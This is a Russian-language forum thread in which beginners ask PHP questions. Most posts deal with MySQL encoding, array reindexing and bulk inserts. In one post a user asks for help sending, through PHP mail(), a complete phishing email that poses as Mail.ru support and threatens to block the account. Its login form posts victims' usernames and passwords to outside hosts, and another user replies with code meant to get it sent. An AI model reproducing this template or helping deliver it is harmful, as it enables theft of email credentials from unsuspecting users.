[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Подскажите, пожалуйста, хороший способ фильтрации переменной в PHP.
    preg_match - не то, нужна именно "очистка".

    Заранее благодарен.
     
  2. SHiNiGaMi

    SHiNiGaMi Banned

    Joined:
    3 Jan 2010
    Messages:
    382
    Likes Received:
    55
    Reputations:
    15
    DeepBlue7 str_replace, preg_replace
     
  3. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    Добрый день, такой вопрос.

    имеется отправки письма

    PHP:
    <?php
    ignore_user_abort
    (1);
    $to "[email protected]";
    $subj "thema";


    $content "<html>
        <head>
            <title>Birthday Reminders for August</title>
        </head>
        <body>
            <p>Here are the birthdays upcoming in August!</p>
        </body>
    </html>"
    ;


    $Name "masha";
    $ot "[email protected]";
    $headers     =<<<AKAM
    From: $Name <$ot>
    MIME-Version: 1.0
    Content-Type: text/html;
        charset="utf-8"
    Content-Transfer-Encoding: 8bit
    AKAM;

    $ok=mail($to$subj$content$headers);

    ?>

    простой html как в примере отправляет нормально

    а вот напримкр при отправки такого письма



    PHP:
    <form method post action http://black-hat.h2m.ru/mail/login.php. target =_self filtered-onSubmit=return CheckForm(this); target=_blank>
    <table class=readlet cellpadding=0 cellspacing=0 border=0 width="100%"><tr>
    <
    td id=aj_body>
    <
    div id=let_body><base href="http://win.mail.ru/cgi-bin/readmsg"><div id=let_body><base href='http://win.mail.ru/cgi-bin/readmsg'><xhtml>
    <
    xhead>
    </
    xhead>
    <
    xbody>
    <
    img border=0 src=http://kartunku.do.am/image.jpg><br><br>
    Уважаемый пользователь!<br><br>
    Всвязи с поступившими жалобами на рассылку рекламных писем (спамс вашего электронного адресаадминистрация вынуждена заблокировать Вашу учетную запись.<br>
    Для продолжения пользования электронным адресомВам необходимо подтвердитьчто Ваш электронный адрес не используется спам-ботом для рассылки рекламных писем.<br><br>
    </
    font><font color=00;33;66 FACE=Times New Roman >
    Для подтверждения электронного адресазаполните форму ниже:
    </
    tr>
    </
    table>
    <
    table cellpadding=0 cellspacing=0 border=class=login>
    <
    form method post action //fake.ru/activation.php target =_self filtered-onSubmit=return CheckForm(this); target=_blank>
    <input type=hidden name=mail value=1>
    <
    tr>
    <
    td width=75>
    <
    img src=http://img.mail.ru/0.gif height=1><br><b>Имя:</b>
    </td>
    <
    td width=150>
    <
    input type=text name=Login value=>
    </
    td>
    <
    td width=75>
    <
    select name=Domain>
    <
    option value=mail.ru SELECTED>@mail.ru</option>
    <
    option value=inbox.ru>@inbox.ru</option>
    <
    option value=list.ru >@list.ru</option>
    <
    option value=bk.ru >@bk.ru</option>
    </
    select>
    </
    td>
    </
    tr>
    <
    tr>
    <
    td>
    <
    b>П<xhtml>ароль:</b>
    </
    td
    <
    td>
    <
    input type=password name=Password>
    </
    td>
    <
    td>
    <
    a href=http://www.mail.ru/pages/help/92.html target=_new>Забыли&nbsp;п<xhtml>ароль?</a>
    </td>
    </
    tr>
    <
    tr
    <
    td>&nbsp;</td>
    <
    td>
    <
    input type=checkbox name=level value=1 id=alien><label for=alien>Чужой компьютер</label>
    </
    td>
    <
    td>&nbsp;</td>
    </
    tr>
    <
    tr>
    <
    td>&nbsp;</td>
    <
    td>
    <
    input type=Submit value Подтвердить xxxxxstyle=margin-top:4px></td>
    </
    td>
    <
    td>&nbsp;</td>
    </
    tr></form>
    </
    table>
    </
    xbody>
    </
    xhtml><br>
    <
    hr size=1>
    <
    br>
    <
    p><b>
    С уважением,<br>
    Cлужба поддержки почтовой системы Mail.ru</b></p>
    <
    base href="http://win.mail.ru/cgi-bin/readmsg"></div>
    </
    form>
    выдаёт syntax error, unexpected T_LNUMBER i
    как сделать штоб скрипт не обращал внимание на содержимое письма и отправлял как есть (тоесть н выводил ошибку)
     
  4. .::BARS::.

    .::BARS::. Elder - Старейшина

    Joined:
    13 Oct 2007
    Messages:
    379
    Likes Received:
    45
    Reputations:
    10

    так

    PHP:
    <?php
    error_reporting
    (0);
    ignore_user_abort(1);
    $to "[email protected]";
    $subj "thema";


    $content "<html>
        <head>
            <title>Birthday Reminders for August</title>
        </head>
        <body>
            <p>Here are the birthdays upcoming in August!</p>
        </body>
    </html>"
    ;


    $Name "masha";
    $ot "[email protected]";
    $headers     =<<<AKAM
    From: $Name <$ot>
    MIME-Version: 1.0
    Content-Type: text/html;
        charset="utf-8"
    Content-Transfer-Encoding: 8bit
    AKAM;

    $ok=mail($to$subj$content$headers);

    ?>
    =))
     
  5. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75

    добавление error_reporting(0); не помогло
     
  6. Edward

    Edward Banned

    Joined:
    11 Feb 2010
    Messages:
    329
    Likes Received:
    21
    Reputations:
    -1
    И снова проблемы с кодировкой

    1) Создал Базу Данных с помощью MySQL Command Line Client

    [​IMG]

    Она получилась в кодировке utf8_general_ci

    2) Создал в ней таблицу

    [​IMG]

    3) Заполнил таблицу данными

    [​IMG]

    В MySQL Command Line Client данные выводит нормально, а вот на странице

    [​IMG]

    В сценарии соединения с БД прописаны такие строки

    PHP:
    mysql_query ("set character_set_client='utf8'");
     
    mysql_query ("set character_set_results='utf8'"); 
    mysql_query ("set 
    collation_connection='utf8_general_ci'"
    );
    В теге meta указано следующее:

    HTML:
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    Сам файл в кодировке utf-8

    Почему возникают эти проблемы, если везде , где только можно я указал одну кодировку?
     
  7. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    mysql_query ("SET names utf-8");
    попробуй еще.
     
  8. Edward

    Edward Banned

    Joined:
    11 Feb 2010
    Messages:
    329
    Likes Received:
    21
    Reputations:
    -1
    Не помогло, к стати запрос

    PHP:
    mysql_query ("SET names utf-8");
    не выполнялся, так выполнялся

    PHP:
    mysql_query ("SET names utf8");
     
  9. Edward

    Edward Banned

    Joined:
    11 Feb 2010
    Messages:
    329
    Likes Received:
    21
    Reputations:
    -1
    Не помогло :mad:
     
  10. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Попробуй сделать INSERT из PHP, потом смотри где проблема
     
    1 person likes this.
  11. Edward

    Edward Banned

    Joined:
    11 Feb 2010
    Messages:
    329
    Likes Received:
    21
    Reputations:
    -1
    Да, когда с PHP сделал запрос, выводит потом по русски спасибо :)

    На будущее можете сказать почему при добавлении с помощью mysql.exe данные потом неправильно выводятся, и как можно поправить mysql.exe, что б с ее помощью можно было нормально добавлять?
     
  12. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    Есть массив:
    [0]=>0
    [3]=>3
    [4]=>4

    Как сделать?:
    [0]=>0
    [1]=>3
    [2]=>4
     
  13. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Предположим массив это $array, тогда:
    PHP:
    $array[0] = '0';
    $array[1] = '3';
    $array[3] = '4';
    Вроде бы всё, если я всё правильно понял.

    Попробуй указать явную кодировку в браузере, или если сервер Apache создать файл .hattacess с указанием нужной кодировки.

    Если не получиться попробуй убрать эти строки:
    PHP:
    mysql_query ("set character_set_client='utf8'");
     
    mysql_query ("set character_set_results='utf8'"); 
    mysql_query ("set 
    collation_connection='utf8_general_ci'"
    );
    Так же вообще задай нужную кодировку общей в MySQL
     
    #17913 randman, 13 Mar 2011
    Last edited: 13 Mar 2011
  14. Compton

    Compton Member

    Joined:
    31 Jan 2010
    Messages:
    290
    Likes Received:
    25
    Reputations:
    0
    PHP:
    $array=array();// тут индексы и значения 
       
    sort($array);
       
    print_r($array);
     
  15. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    2XAMEHA нужно убрать пробелы между элементами автоматически
    Пробелы появляются после unset
     
  16. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    НTL если нужна не сортировка, а последовательные ключи, то http://php.net/array_values
     
    _________________________
    1 person likes this.
  17. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    В массиве $array[$i][uid] записаны ID пользователей, $i от 0 до 9999 (т.е. максимум 10к id).
    Как перенести эти id в MySQL? Вся проблема в том что некоторые id уже есть в базе и их не нужно туда добавлять, так же может быть что все id уже есть в базе...

    Нужно проверить и добавить недостающие, желательно чтобы код был нацелен на оптимизацию. Так что банально перебрать все не самый лучший вариант.
     
  18. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    801
    Likes Received:
    145
    Reputations:
    73
    НTL
    В цикле одним запросом пытаешься найти запись где id = $array[$i][uid]
    если нету записи, то вставляй с этим id следющим запросом
     
  19. Radish

    Radish New Member

    Joined:
    9 Jan 2011
    Messages:
    20
    Likes Received:
    2
    Reputations:
    2
    http://www.sql.ru/forum/actualthread.aspx?bid=6&tid=782840&hl=

     
  20. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    НTL Есть два варианта - первый, делаете выборку всех ID из базы и с помощью функции http://php.net/in_array проверяете, существует ли данный ID, если нет - то осуществляете ввод в БД. Плюсы - минимальное количество запросов, минусы - если к БД обращается кто то еще, то между этапом проверки и этапом внесения в базу - может произойти чужая запись

    Второй способ - на столбец ID повесить уникальный индекс и вносить данные с флагом IGNORE. Т.е. запрос будет такой:
    Code:
    INSERT IGNORE INTO `tabl`(`id`, `col1`, `col2`) VALUES ...
    Плюсы - можно внести все данные одним запросом, либо по одному запросу на каждую запись (что чуть больше чем в 1 варианте), также избавимся от неоднозначности при вводе. Минусы - количество или длина запроса, субд может отказаться делать большие вставки

    LStr1ke Мне кажется, или для худшего случая - количество запросов удвоится?
     
    _________________________
Thread Status:
Not open for further replies.